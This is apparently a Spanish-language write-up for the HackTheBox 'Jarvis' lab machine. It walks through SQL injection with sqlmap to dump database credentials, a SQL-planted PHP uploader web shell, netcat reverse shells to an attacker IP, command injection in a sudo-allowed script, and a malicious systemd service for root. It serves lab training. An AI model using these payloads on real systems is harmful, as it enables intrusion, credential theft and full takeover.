---
# System prepended metadata

title: WriteUp Jarvis - HackTheBox Machine
tags: [htb, ctf, hackthebox]

---

##### Realizar un escaneo de puertos con nmap
`$ nmap -sC -sV 10.10.10.143`

##### Realizar un escaneo de directorios con dirb
`$ dirb http://10.10.10.143/`

##### Realizar una inyeccion sql (sqli)
`$ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent --dbs`

##### Sacar las credenciales de la base de datos mysql
```
$ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent --dbs
$ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent -D mysql --tables 
$ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent -D mysql -T user --columns
$ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent -D mysql -T user -C User,Password --dump
```

##### Obtendremos las credenciales para inciar sesion en /phpmyadmin
http://10.10.10.143/phpmyadmin
```
User: DBadmin
Password: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 (imissyou)
```

##### Una vez logeados en el panel de phpmyadmin subiremos un uploader
http://10.10.10.143/phpmyadmin/server_sql.php

##### Ponemos este codigo remplazando con nuestra ip y el puerto que queramos y le damos a Go
```
SELECT
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE '/var/www/uploader.php';
```

##### Ponemos una instancia de netcat a la escucha
`$ nc -lvp 1337`

##### Una vez hecho esto, nos vamos a /uploader y subimos una reverse shell y la ejecutamos
http://10.10.10.143/uploader.php
http://10.10.10.143/shell.php

##### Una vez conectados, tendremos acceso como www-data, por lo tanto hay que hacer privesc
`$ sudo -l`

##### Como podemos observar se puede ejecutar el archivo simpler.py el cual hace un ping pero probaremos meter un comando para conseguir la flag de user
```
$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
$ $(cat /home/pepper/user.txt)
2afa36c4f05b37b34259c93551f5c44f
```

##### Ahora hay que conseguir el root, para ello vamos a subir una nueva shell en el uploader con el siguiente codigo reemplazando por nuestra direccion ip y un puerto diferente
`$ nc 10.10.15.X 4444 -e /bin/sh`
http://10.10.10.143/uploader.php
http://10.10.10.143/nc.sh

##### Luego la ejecutamos y tendremos acceso como pepper
`$ $(sh /var/www/html/nc.sh)`

##### Invocamos una shell tty
`$ python -c 'import pty; pty.spawn("/bin/sh")'`

##### Ahora lo que haremos sera crear un archivo .service con el siguiente codigo reemplazando por nuestra ip y puerto
```
[Unit]
Description = test_test
[Service]
ExecStart=/bin/bash -c "nc -e /bin/sh 10.10.15.XX 8787"
[Install]
WantedBy=multi-user.target
```

##### Subiremos el archivo mediante el uploader
http://10.10.10.143/uploader.php

##### Ponemos una instancia de netcat a la escucha del puerto que hayamos asignado 
`$ nc -lvp 8787`

##### Vamos a la terminal con acceso como pepper y ejecutamos el archivo subido
```
$ systemctl enable /var/www/html/ttr.service
$ systemctl start ttr.service
```

##### Y ya tendremos acceso root ahora solo queda conseguir la flag de root
```
$ cat /root/root.txt
d41d8cd98f00b204e9800998ecf84271
```



---




